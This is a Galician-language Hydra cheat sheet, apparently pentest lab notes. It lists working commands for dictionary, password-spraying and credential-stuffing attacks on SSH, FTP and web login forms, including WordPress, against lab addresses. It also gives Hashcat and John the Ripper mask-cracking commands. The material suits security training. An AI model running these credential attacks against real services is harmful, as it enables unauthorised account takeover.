hydra – Ataques de autenticación multiprotocolo
Descrición
Hydra (THC Hydra) é unha ferramenta moi flexible para realizar ataques de autenticación online contra múltiples servizos (SSH, FTP, HTTP/HTTPS, SMB, bases de datos, etc.).
Permite executar:
- ataques de diccionario,
- password spraying (poucos contrasinais, moitos usuarios),
- credential stuffing (pares
user:pass), - e tamén variantes de forza bruta limitada usando wordlists.
Hydra non realiza forza bruta pura con máscaras (probar todas as combinacións posibles): esa tarefa corresponde a ferramentas offline como Hashcat ou John the Ripper.
Diccionario vs forza bruta (clásica)
Os exemplos deste ficheiro usan diccionario online, é dicir, probas contra un servizo usando unha wordlist.
A forza bruta real implica probar todas as combinacións posibles (aaaa → zzzz, patróns de tipo ?l?l?d?d…), algo inviable contra servizos online debido a límites de intentos e bloqueos de conta.
Para máscaras e forza bruta pura deben usarse ferramentas offline, como Hashcat ou John, traballando sobre ficheiros de hashes.
Sintaxe básica
Opcións principais
| Opción | Descrición |
|---|---|
-l <usuario> |
Usuario único |
-L <ficheiro> |
Lista de usuarios |
-p <password> |
Contrasinal única |
-P <ficheiro> |
Wordlist de contrasinais |
-s <porto> |
Porto personalizado |
-t <threads> |
Número de threads paralelos (por defecto: 16) |
-f / -F |
Parar ao atopar a primeira credencial válida |
-V / -v |
Modo verbose |
-I |
Ignorar ficheiro de restore previo |
-o <ficheiro> |
Gardar resultados |
-e <opcións> |
Probas adicionais: n (null), s (igual que login), r (reverse) |
-C <ficheiro> |
Ficheiro con pares user:pass (credential stuffing) |
Protocolos soportados — Exemplos
SSH (diccionario)
## Diccionario para un usuario
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.100
## Con porto personalizado
hydra -l admin -P wordlist.txt -s 2222 ssh://192.168.56.100
## Múltiples usuarios
hydra -L users.txt -P wordlist.txt ssh://192.168.56.100
## Máis threads e parar ao atopar a primeira credencial válida
hydra -l root -P wordlist.txt ssh://192.168.56.100 -F -V -t 64
## Probar null password, same-as-login e reverse-login
hydra -L users.txt -P wordlist.txt ssh://192.168.56.100 -e nsr
FTP (diccionario / credential stuffing)
## Diccionario FTP
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://192.168.56.100
## FTP con threads aumentados
hydra -l ftp -P wordlist.txt ftp://192.168.56.100 -F -V -t 64
## Usuario anónimo
hydra -l anonymous -p "" ftp://192.168.56.100
## Credential stuffing (ficheiro combos.txt onde cada liña ten o formato user:pass)
hydra -C combos.txt ftp://192.168.56.100
HTTP POST Form (formularios web)
## WordPress login (diccionario contra un usuario)
hydra -l peter -P wordlist.txt doamin.nyx http-post-form \
"/wordpress/wp-login.php:log=^USER^&pwd=^PASS^:F=Error: The password you entered for the username" -F -V -t 64
## Estructura xeral
hydra -l USER -P PASS IP http-post-form \
"PATH:PARAMS:FAILURE_STRING"
## Con cookie de sesión
hydra -l admin -P wordlist.txt 192.168.56.100 http-post-form \
"/login:username=^USER^&password=^PASS^:F=incorrect:H=Cookie: PHPSESSID=abc123"
## HTTPS (formularios sobre TLS)
hydra -l admin -P wordlist.txt example.com https-post-form \
"/login:user=^USER^&pass=^PASS^:F=failed"
Parámetros importantes:
PATH: ruta do formularioPARAMS: parámetros POST (^USER^e^PASS^)F=→ cadea que indica falloS=→ cadea que indica éxitoH=→ cabeceiras adicionais (cookies, tokens…)
Telnet
SMB
MySQL
LDAP (bind attempts)
Sección extra: forza bruta con máscaras (offline)
Hydra non realiza forza bruta real con xeración de combinacións.
As máscaras e o brute force clásico realízanse en cracking offline:
Hashcat – Examples
## 2 maiúsculas + 4 minúsculas + 2 díxitos
hashcat -m <HASH_TYPE> -a 3 hashes.txt ?u?u?l?l?l?l?d?d
## 6 díxitos
hashcat -m <HASH_TYPE> -a 3 hashes.txt ?d?d?d?d?d?d
## Híbrido wordlist + máscara
hashcat -m <HASH_TYPE> -a 6 hashes.txt rockyou.txt ?d?d
John the Ripper – Examples
## Incremental (todas as combinacións segundo perfil)
john --incremental hashes.txt
## Máscara personalizada
john --mask='?u?l?l?d?d?d' hashes.txt
Por que non usar máscaras con Hydra?
As máscaras requiren avaliar millóns de combinacións.
Isto é inviable contra servizos online (SSH, FTP, LDAP…), que teñen límites de intentos e bloqueos de conta.
Por iso, as máscaras úsanse só en cracking offline.
Notas prácticas
- Hydra é perfecto para ataques online baseados en diccionario, spraying e combos.
- Para forza bruta real → usar Hashcat/John (offline).
- A opción
-tcontrola threads: máis threads = máis velocidade pero máis ruído nos logs. - Usar sempre wordlists filtradas en servizos sensibles a bloqueo.